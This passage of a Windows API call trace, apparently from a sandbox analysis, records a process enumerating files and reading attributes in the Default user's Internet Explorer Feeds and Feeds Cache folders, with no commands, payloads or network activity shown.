ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0129.704] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0129.706] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0129.707] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed490, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0129.708] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed460, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0129.709] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed460, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0129.711] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfe159e80, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe159e80, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0129.712] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0129.713] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0129.714] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed490, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0129.715] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed460, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0129.715] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed460, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0129.718] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfe159e80, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe159e80, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0129.718] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed410, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0129.719] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x1ed410, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0129.720] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x1ed410, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0129.721] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed3e0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0129.722] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed3e0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0129.723] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed3b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0129.724] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed3b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0129.725] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed3b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0129.728] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfe159e80, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0129.728] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0129.729] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0129.730] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 0x7c [0129.732] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 0x7c [0129.733] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), fInfoLevelId=0x0, lpFileInformation=0x1ed9f0 | out: lpFileInformation=0x1ed9f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0129.733] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0129.734] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0129.735] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 0x7c [0129.736] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 0x7c [0129.737] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), fInfoLevelId=0x0, lpFileInformation=0x1ed9f0 | out: lpFileInformation=0x1ed9f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0129.737] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed410, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0129.738] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x1ed410, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0129.739] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x1ed410, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0129.740] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed3e0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0129.741] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed3e0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0129.741] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed3b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0129.742] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed3b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0129.743] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed3b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0129.746] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfe159e80, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0129.753] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edb50 | out: lpFileInformation=0x1edb50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1 [0129.755] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edb50 | out: lpFileInformation=0x1edb50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe5aa660, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5aa660, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1 [0129.755] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat"), fInfoLevelId=0x0, lpFileInformation=0x1edb50 | out: lpFileInformation=0x1edb50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe5f6920, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5f6920, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa9d0d0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0129.757] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat"), fInfoLevelId=0x0, lpFileInformation=0x1edb50 | out: lpFileInformation=0x1edb50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe5f6920, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5f6920, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa9d0d0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0129.757] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1 [0129.758] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1 [0129.758] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1]"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0129.758] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1]"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0129.763] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1 [0129.764] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1 [0129.764] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1]"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0129.764] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1]"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0129.767] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edaa0 | out: lpFileInformation=0x1edaa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfe5d07c0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe5d07c0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xfea09ee5, 